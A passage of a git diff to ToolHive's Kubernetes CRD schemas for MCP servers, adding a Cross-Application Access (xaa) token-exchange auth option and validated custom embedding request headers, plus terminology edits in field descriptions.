message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml index 077cbd7be1..0a88504af2 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml @@ -345,8 +345,11 @@ spec: type: object podTemplateSpec: description: |- - PodTemplateSpec allows customizing the pod template for the proxy deployment. - Scheduling fields (nodeSelector, tolerations, affinity) are applied to the proxy pods. + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. type: object x-kubernetes-preserve-unknown-fields: true proxyPort: @@ -1095,8 +1098,11 @@ spec: type: object podTemplateSpec: description: |- - PodTemplateSpec allows customizing the pod template for the proxy deployment. - Scheduling fields (nodeSelector, tolerations, affinity) are applied to the proxy pods. + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. type: object x-kubernetes-preserve-unknown-fields: true proxyPort: diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml index e26e9c1160..9392de7830 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -671,13 +671,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -821,7 +821,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -846,13 +846,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -1817,6 +1817,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -1894,6 +1910,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. @@ -2132,11 +2158,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2144,7 +2170,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2154,7 +2180,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -2164,17 +2190,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2183,13 +2216,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -2429,11 +2462,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2441,7 +2474,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2450,8 +2483,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -2461,17 +2494,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2480,13 +2520,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -4091,13 +4131,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -4241,7 +4281,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -4266,13 +4306,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -5237,6 +5277,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -5314,6 +5370,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. @@ -5552,11 +5618,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5564,7 +5630,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5574,7 +5640,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -5584,17 +5650,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5603,13 +5676,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -5849,11 +5922,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5861,7 +5934,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5870,8 +5943,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -5881,17 +5954,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5900,13 +5980,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml index 3d21527444..b73e66445b 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml @@ -801,13 +801,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -951,7 +951,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -976,13 +976,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -1357,6 +1357,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -1365,13 +1366,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + IdP exchange. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (IdP exchange and target grant). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + target grant (RFC 7523). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -1398,11 +1500,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig @@ -2299,13 +2403,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -2449,7 +2553,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -2474,13 +2578,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -2855,6 +2959,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -2863,13 +2968,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + IdP exchange. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (IdP exchange and target grant). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + target grant (RFC 7523). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -2896,11 +3102,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml index 94b214daa6..b499ce8181 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml @@ -348,8 +348,11 @@ spec: type: object podTemplateSpec: description: |- - PodTemplateSpec allows customizing the pod template for the proxy deployment. - Scheduling fields (nodeSelector, tolerations, affinity) are applied to the proxy pods. + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. type: object x-kubernetes-preserve-unknown-fields: true proxyPort: @@ -1098,8 +1101,11 @@ spec: type: object podTemplateSpec: description: |- - PodTemplateSpec allows customizing the pod template for the proxy deployment. - Scheduling fields (nodeSelector, tolerations, affinity) are applied to the proxy pods. + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. type: object x-kubernetes-preserve-unknown-fields: true proxyPort: diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml index 04dc60aca7..3f29533245 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -674,13 +674,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -824,7 +824,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -849,13 +849,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -1820,6 +1820,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -1897,6 +1913,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. @@ -2135,11 +2161,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2147,7 +2173,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2157,7 +2183,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -2167,17 +2193,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: 